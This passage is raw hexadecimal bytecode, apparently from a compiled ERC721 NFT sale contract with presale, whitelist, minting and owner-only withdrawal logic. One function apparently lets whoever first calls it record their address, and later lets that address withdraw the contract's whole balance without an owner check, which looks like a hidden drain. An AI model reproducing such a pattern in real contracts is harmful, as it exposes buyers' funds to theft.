0614a56565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b61105a6124ec565b73ffffffffffffffffffffffffffffffffffffffff16611078611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c5906143dc565b60405180910390fd5b60004711611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890614ac2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611157573d6000803e3d6000fd5b5050565b6111636124ec565b73ffffffffffffffffffffffffffffffffffffffff16611181611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce906143dc565b60405180910390fd5b80601690805190602001906111ed929190613810565b5050565b600f544210158015611204575060105442105b611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614b2e565b60405180910390fd5b600e543414611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e9061485a565b60405180910390fd5b600c546001601254611299919061442b565b11156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d1906148c6565b60405180910390fd5b6003601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390614bc0565b60405180910390fd5b600d54600160115461136e919061442b565b11156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690614c52565b60405180910390fd5b600115156113e682601754336040516020016113cb9190614cba565b60405160208183030381529060405280519060200120612c1a565b151514611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f90614d21565b60405180910390fd5b60016011600082825461143b919061442b565b92505081905550601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061149290614542565b9190505550600060016012546114a8919061442b565b90506114b433826124f4565b601260008154809291906114c790614542565b91905055507ff00d28232b285f24f2e38415deb2ceb31069e70d4505838b3911b4f02058502e816040516114fb9190613cb6565b60405180910390a15050565b600f5481565b61152883838360405180602001604052806000815250612083565b505050565b6115356124ec565b73ffffffffffffffffffffffffffffffffffffffff16611553611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a0906143dc565b60405180910390fd5b80600e8190555050565b601460009054906101000a900460ff16611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f990614db3565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16611622836118fe565b73ffffffffffffffffffffffffffffffffffffffff1614801561167857503373ffffffffffffffffffffffffffffffffffffffff16611660826118fe565b73ffffffffffffffffffffffffffffffffffffffff16145b6116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90614e45565b60405180910390fd5b6116c082612c31565b6116c981612c31565b6000601354611f416116db919061442b565b90506116e733826124f4565b601360008154809291906116fa90614542565b9190505550601660196000838152602001908152602001600020908054611720906145ba565b61172b929190613896565b507fddf3c43bc8c8d26ee6d9bccf2412745565ff83c5a151999e8dbf89d9956542d0838333846040516117619493929190614e65565b60405180910390a1505050565b6117766124ec565b73ffffffffffffffffffffffffffffffffffffffff16611794611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146117ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e1906143dc565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b6000611811610f40565b8210611852576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184990614f1c565b60405180910390fd5b600a828154811061186657611865614513565b5b90600052602060002001549050919050565b6118806124ec565b73ffffffffffffffffffffffffffffffffffffffff1661189e611dfd565b73ffffffffffffffffffffffffffffffffffffffff16146118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906143dc565b60405180910390fd5b8060108190555050565b6000806004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e90614fae565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1890615040565b60405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b0c57611ac76124ec565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bd7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b4d6124ec565b73ffffffffffffffffffffffffffffffffffffffff1614611b6d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611bd5573d6000803e3d6000fd5b505b565b60168054611be6906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054611c12906145ba565b8015611c5f5780601f10611c3457610100808354040283529160200191611c5f565b820191906000526020600020905b815481529060010190602001808311611c4257829003601f168201915b505050505081565b611c6f6124ec565b73ffffffffffffffffffffffffffffffffffffffff16611c8d611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906143dc565b60405180910390fd5b47821115611d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1d906150d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611d6c573d6000803e3d6000fd5b505050565b611d796124ec565b73ffffffffffffffffffffffffffffffffffffffff16611d97611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614611ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de4906143dc565b60405180910390fd5b80600f8190555050565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611e35906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054611e61906145ba565b8015611eae5780601f10611e8357610100808354040283529160200191611eae565b820191906000526020600020905b815481529060010190602001808311611e9157829003601f168201915b5050505050905090565b611ec06124ec565b73ffffffffffffffffffffffffffffffffffffffff16611ede611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614611f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2b906143dc565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16611f54846118fe565b73ffffffffffffffffffffffffffffffffffffffff1614611faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa19061513e565b60405180910390fd5b80601960008581526020019081526020016000209080519060200190611fd1929190613810565b50505050565b611fdf6124ec565b73ffffffffffffffffffffffffffffffffffffffff16611ffd611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a906143dc565b60405180910390fd5b8060159080519060200190612069929190613810565b5050565b61207f6120786124ec565b8383612d4e565b5050565b61209461208e6124ec565b836128d5565b6120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca906149c4565b60405180910390fd5b6120df84848484612ebb565b50505050565b60606120f0826127b0565b61212f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612126906151d0565b60405180910390fd5b600060196000848152602001908152602001600020805461214f906145ba565b9050141561218957601561216283612f17565b6040516020016121739291906152c0565b6040516020818303038152906040529050612228565b6019600083815260200190815260200160002080546121a7906145ba565b80601f01602080910402602001604051908101604052809291908181526020018280546121d3906145ba565b80156122205780601f106121f557610100808354040283529160200191612220565b820191906000526020600020905b81548152906001019060200180831161220357829003601f168201915b505050505090505b919050565b601460009054906101000a900460ff1681565b6015805461224d906145ba565b80601f0160208091040260200160405190810160405280929190818152602001828054612279906145ba565b80156122c65780601f1061229b576101008083540402835291602001916122c6565b820191906000526020600020905b8154815290600101906020018083116122a957829003601f168201915b505050505081565b600c5481565b6122dc6124ec565b73ffffffffffffffffffffffffffffffffffffffff166122fa611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614612350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612347906143dc565b60405180910390fd5b8060178190555050565b60105481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123fc6124ec565b73ffffffffffffffffffffffffffffffffffffffff1661241a611dfd565b73ffffffffffffffffffffffffffffffffffffffff1614612470576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612467906143dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d790615356565b60405180910390fd5b6124e981613078565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255b906153c2565b60405180910390fd5b61256d816127b0565b156125ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a49061542e565b60405180910390fd5b6125b96000838361313c565b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612609919061442b565b92505081905550816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46126ca60008383613250565b5050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061279957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806127a957506127a882613255565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661288f836118fe565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006128e0826127b0565b61291f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612916906154c0565b60405180910390fd5b600061292a836118fe565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061299957508373ffffffffffffffffffffffffffffffffffffffff1661298184610bfa565b73ffffffffffffffffffffffffffffffffffffffff16145b806129aa57506129a98185612360565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129d3826118fe565b73ffffffffffffffffffffffffffffffffffffffff1614612a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2090615552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a90906155e4565b60405180910390fd5b612aa483838361313c565b612aaf60008261281c565b6001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aff9190615604565b925050819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b56919061442b565b92505081905550816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612c15838383613250565b505050565b600082612c2785846132bf565b1490509392505050565b6000612c3c826118fe565b9050612c4a8160008461313c565b612c5560008361281c565b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ca59190615604565b925050819055506004600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612d4a81600084613250565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db490615684565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612eae9190613aa6565b60405180910390a3505050565b612ec68484846129b3565b612ed284848484613334565b612f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f0890615716565b60405180910390fd5b50505050565b60606000821415612f5f576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613073565b600082905060005b60008214612f91578080612f7a90614542565b915050600a82612f8a9190615765565b9150612f67565b60008167ffffffffffffffff811115612fad57612fac613d94565b5b6040519080825280601f01601f191660200182016040528015612fdf5781602001600182028036833780820191505090505b5090505b6000851461306c57600182612ff89190615604565b9150600a856130079190615796565b6030613013919061442b565b60f81b81838151811061302957613028614513565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856130659190615765565b9450612fe3565b8093505050505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6131478383836134cb565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561318a57613185816134d0565b6131c9565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146131c8576131c78382613519565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561320c5761320781613686565b61324b565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461324a576132498282613757565b5b5b505050565b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008082905060005b84518110156133295760008582815181106132e6576132e5614513565b5b602002602001015190508083116133085761330183826137d6565b9250613315565b61331281846137d6565b92505b50808061332190614542565b9150506132c8565b508091505092915050565b60006133558473ffffffffffffffffffffffffffffffffffffffff166137ed565b156134be578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261337e6124ec565b8786866040518563ffffffff1660e01b81526004016133a0949392919061581c565b602060405180830381600087803b1580156133ba57600080fd5b505af19250505080156133eb57506040513d601f19601f820116820180604052508101906133e8919061587d565b60015b61346e573d806000811461341b576040519150601f19603f3d011682016040523d82523d6000602084013e613420565b606091505b50600081511415613466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161345d90615716565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506134c3565b600190505b949350505050565b505050565b600a80549050600b600083815260200190815260200160002081905550600a81908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001613526846119b0565b6135309190615604565b9050600060096000848152602001908152602001600020549050818114613615576000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816009600083815260200190815260200160002081905550505b6009600084815260200190815260200160002060009055600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600a8054905061369a9190615604565b90506000600b60008481526020019081526020016000205490506000600a83815481106136ca576136c9614513565b5b9060005260206000200154905080600a83815481106136ec576136eb614513565b5b906000526020600020018190555081600b600083815260200190815260200160002081905550600b600085815260200190815260200160002060009055600a80548061373b5761373a6158aa565b5b6001900381819060005260206000200160009055905550505050565b6000613762836119b0565b905081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806009600084815260200190815260200160002081905550505050565b600082600052816020526040600020905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b82805461381c906145ba565b90600052602060002090601f01602090048101928261383e5760008555613885565b82601f1061385757805160ff1916838001178555613885565b82800160010185558215613885579182015b82811115613884578251825591602001919060010190613869565b5b5090506138929190613923565b5090565b8280546138a2906145ba565b90600052602060002090601f0160209004810192826138c45760008555613912565b82601f106138d55780548555613912565b8280016001018555821561391257600052602060002091601f016020900482015b828111156139115782548255916001019190600101906138f6565b5b50905061391f9190613923565b5090565b5b8082111561393c576000816000905550600101613924565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f84011261397957613978613954565b5b8235905067ffffffffffffffff81111561399657613995613959565b5b6020830191508360208202830111156139b2576139b161395e565b5b9250929050565b600080602083850312156139d0576139cf61394a565b5b600083013567ffffffffffffffff8111156139ee576139ed61394f565b5b6139fa85828601613963565b92509250509250929050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b613a3b81613a06565b8114613a4657600080fd5b50565b600081359050613a5881613a32565b92915050565b600060208284031215613a7457613a7361394a565b5b6000613a8284828501613a49565b91505092915050565b60008115159050919050565b613aa081613a8b565b82525050565b6000602082019050613abb6000830184613a97565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613afb578082015181840152602081019050613ae0565b83811115613b0a576000848401525b50505050565b6000601f19601f8301169050919050565b6000613b2c82613ac1565b613b368185613acc565b9350613b46818560208601613add565b613b4f81613b10565b840191505092915050565b60006020820190508181036000830152613b748184613b21565b905092915050565b6000819050919050565b613b8f81613b7c565b8114613b9a57600080fd5b50565b600081359050613bac81613b86565b92915050565b600060208284031215613bc857613bc761394a565b5b6000613bd684828501613b9d565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613c0a82613bdf565b9050919050565b613c1a81613bff565b82525050565b6000602082019050613c356000830184613c11565b92915050565b613c4481613bff565b8114613c4f57600080fd5b50565b600081359050613c6181613c3b565b92915050565b60008060408385031215613c7e57613c7d61394a565b5b6000613c8c85828601613c52565b9250506020613c9d85828601613b9d565b9150509250929050565b613cb081613b7c565b82525050565b6000602082019050613ccb6000830184613ca7565b92915050565b600080600060608486031215613cea57613ce961394a565b5b6000613cf886828701613c52565b9350506020613d0986828701613c52565b9250506040613d1a86828701613b9d565b9150509250925092565b6000613d2f82613bdf565b9050919050565b613d3f81613d24565b8114613d4a57600080fd5b50565b600081359050613d5c81613d36565b92915050565b600060208284031215613d7857613d7761394a565b5b6000613d8684828501613d4d565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613dcc82613b10565b810181811067ffffffffffffffff82111715613deb57613dea613d94565b5b80604052505050565b6000613dfe613940565b9050613e0a8282613dc3565b919050565b600067ffffffffffffffff821115613e2a57613e29613d94565b5b613e3382613b10565b9050602081019050919050565b82818337600083830152505050565b6000613e62613e5d84613e0f565b613df4565b905082815260208101848484011115613e7e57613e7d613d8f565b5b613e89848285613e40565b509392505050565b600082601f830112613ea657613ea5613954565b5b8135613eb6848260208601613e4f565b91505092915050565b600060208284031215613ed557613ed461394a565b5b600082013567ffffffffffffffff811115613ef357613ef261394f565b5b613eff84828501613e91565b91505092915050565b600067ffffffffffffffff821115613f2357613f22613d94565b5b602082029050602081019050919050565b6000819050919050565b613f4781613f34565b8114613f5257600080fd5b50565b600081359050613f6481613f3e565b92915050565b6000613f7d613f7884613f08565b613df4565b90508083825260208201905060208402830185811115613fa057613f9f61395e565b5b835b81811015613fc95780613fb58882613f55565b845260208401935050602081019050613fa2565b5050509392505050565b600082601f830112613fe857613fe7613954565b5b8135613ff8848260208601613f6a565b91505092915050565b6000602082840312156140175761401661394a565b5b600082013567ffffffffffffffff8111156140355761403461394f565b5b61404184828501613fd3565b91505092915050565b600080604083850312156140615761406061394a565b5b600061406f85828601613b9d565b925050602061408085828601613b9d565b9150509250929050565b61409381613a8b565b811461409e57600080fd5b50565b6000813590506140b08161408a565b92915050565b6000602082840312156140cc576140cb61394a565b5b60006140da848285016140a1565b91505092915050565b6000602082840312156140f9576140f861394a565b5b600061410784828501613c52565b91505092915050565b600080604083850312156141275761412661394a565b5b600061413585828601613b9d565b925050602061414685828601613d4d565b9150509250929050565b6000806000606084860312156141695761416861394a565b5b600061417786828701613b9d565b935050602061418886828701613c52565b925050604084013567ffffffffffffffff8111156141a9576141a861394f565b5b6141b586828701613e91565b9150509250925092565b600080604083850312156141d6576141d561394a565b5b60006141e485828601613c52565b92505060206141f5858286016140a1565b9150509250929050565b600067ffffffffffffffff82111561421a57614219613d94565b5b61422382613b10565b9050602081019050919050565b600061424361423e846141ff565b613df4565b90508281526020810184848401111561425f5761425e613d8f565b5b61426a848285613e40565b509392505050565b600082601f83011261428757614286613954565b5b8135614297848260208601614230565b91505092915050565b600080600080608085870312156142ba576142b961394a565b5b60006142c887828801613c52565b94505060206142d987828801613c52565b93505060406142ea87828801613b9d565b925050606085013567ffffffffffffffff81111561430b5761430a61394f565b5b61431787828801614272565b91505092959194509250565b6000602082840312156143395761433861394a565b5b600061434784828501613f55565b91505092915050565b600080604083850312156143675761436661394a565b5b600061437585828601613c52565b925050602061438685828601613c52565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006143c6602083613acc565b91506143d182614390565b602082019050919050565b600060208201905081810360008301526143f5816143b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061443682613b7c565b915061444183613b7c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614476576144756143fc565b5b828201905092915050565b7f4d696e74696e672074686973206d616e7920776f756c6420657863656564207460008201527f6f74616c20737570706c79000000000000000000000000000000000000000000602082015250565b60006144dd602b83613acc565b91506144e882614481565b604082019050919050565b6000602082019050818103600083015261450c816144d0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061454d82613b7c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145805761457f6143fc565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806145d257607f821691505b602082108114156145e6576145e561458b565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000614648602c83613acc565b9150614653826145ec565b604082019050919050565b600060208201905081810360008301526146778161463b565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006146da602183613acc565b91506146e58261467e565b604082019050919050565b60006020820190508181036000830152614709816146cd565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b600061476c603883613acc565b915061477782614710565b604082019050919050565b6000602082019050818103600083015261479b8161475f565b9050919050565b7f5075626c69632073616c65206e6f74206c697665000000000000000000000000600082015250565b60006147d8601483613acc565b91506147e3826147a2565b602082019050919050565b60006020820190508181036000830152614807816147cb565b9050919050565b7f496e636f72726563742066756e647320737570706c6965640000000000000000600082015250565b6000614844601883613acc565b915061484f8261480e565b602082019050919050565b6000602082019050818103600083015261487381614837565b9050919050565b7f416c6c20746f6b656e732068617665206265656e206d696e7465640000000000600082015250565b60006148b0601b83613acc565b91506148bb8261487a565b602082019050919050565b600060208201905081810360008301526148df816148a3565b9050919050565b7f4d6178696d756d206f66203820746f6b656e73207065722077616c6c65740000600082015250565b600061491c601e83613acc565b9150614927826148e6565b602082019050919050565b6000602082019050818103600083015261494b8161490f565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b60006149ae603183613acc565b91506149b982614952565b604082019050919050565b600060208201905081810360008301526149dd816149a1565b9050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b6000614a40602b83613acc565b9150614a4b826149e4565b604082019050919050565b60006020820190508181036000830152614a6f81614a33565b9050919050565b7f4e6f2066756e647320746f207769746864726177000000000000000000000000600082015250565b6000614aac601483613acc565b9150614ab782614a76565b602082019050919050565b60006020820190508181036000830152614adb81614a9f565b9050919050565b7f50726573616c65206e6f74206c69766500000000000000000000000000000000600082015250565b6000614b18601083613acc565b9150614b2382614ae2565b602082019050919050565b60006020820190508181036000830152614b4781614b0b565b9050919050565b7f4d6178696d756d206f66203320706572206164647265737320616c6c6f77656460008201527f206174207072652073616c650000000000000000000000000000000000000000602082015250565b6000614baa602c83613acc565b9150614bb582614b4e565b604082019050919050565b60006020820190508181036000830152614bd981614b9d565b9050919050565b7f4d696e74696e6720776f756c642065786365656420746f74616c20707265207360008201527f616c65206d696e7420616c6c6f636174696f6e00000000000000000000000000602082015250565b6000614c3c603383613acc565b9150614c4782614be0565b604082019050919050565b60006020820190508181036000830152614c6b81614c2f565b9050919050565b60008160601b9050919050565b6000614c8a82614c72565b9050919050565b6000614c9c82614c7f565b9050919050565b614cb4614caf82613bff565b614c91565b82525050565b6000614cc68284614ca3565b60148201915081905092915050565b7f4e6f74206f6e2077686974656c69737400000000000000000000000000000000600082015250565b6000614d0b601083613acc565b9150614d1682614cd5565b602082019050919050565b60006020820190508181036000830152614d3a81614cfe565b9050919050565b7f486f6d6520757067726164657320617265206e6f7420617661696c61626c652060008201527f7965740000000000000000000000000000000000000000000000000000000000602082015250565b6000614d9d602383613acc565b9150614da882614d41565b604082019050919050565b60006020820190508181036000830152614dcc81614d90565b9050919050565b7f596f7520646f206e6f74206f776e206f6e65206f72206d6f7265206f6620746860008201527f65736520746f6b656e7300000000000000000000000000000000000000000000602082015250565b6000614e2f602a83613acc565b9150614e3a82614dd3565b604082019050919050565b60006020820190508181036000830152614e5e81614e22565b9050919050565b6000608082019050614e7a6000830187613ca7565b614e876020830186613ca7565b614e946040830185613c11565b614ea16060830184613ca7565b95945050505050565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b6000614f06602c83613acc565b9150614f1182614eaa565b604082019050919050565b60006020820190508181036000830152614f3581614ef9565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b6000614f98602983613acc565b9150614fa382614f3c565b604082019050919050565b60006020820190508181036000830152614fc781614f8b565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b600061502a602a83613acc565b915061503582614fce565b604082019050919050565b600060208201905081810360008301526150598161501d565b9050919050565b7f5769746864726177616c20616d6f756e742067726561746572207468616e207360008201527f6d61727420636f6e74726163742062616c616e63650000000000000000000000602082015250565b60006150bc603583613acc565b91506150c782615060565b604082019050919050565b600060208201905081810360008301526150eb816150af565b9050919050565b7f5f746f6b656e4964202f205f746f6b656e4f776e6572206d69736d6174636800600082015250565b6000615128601f83613acc565b9150615133826150f2565b602082019050919050565b600060208201905081810360008301526151578161511b565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b60006151ba602f83613acc565b91506151c58261515e565b604082019050919050565b600060208201905081810360008301526151e9816151ad565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461521d816145ba565b61522781866151f0565b94506001821660008114615242576001811461525357615286565b60ff19831686528186019350615286565b6152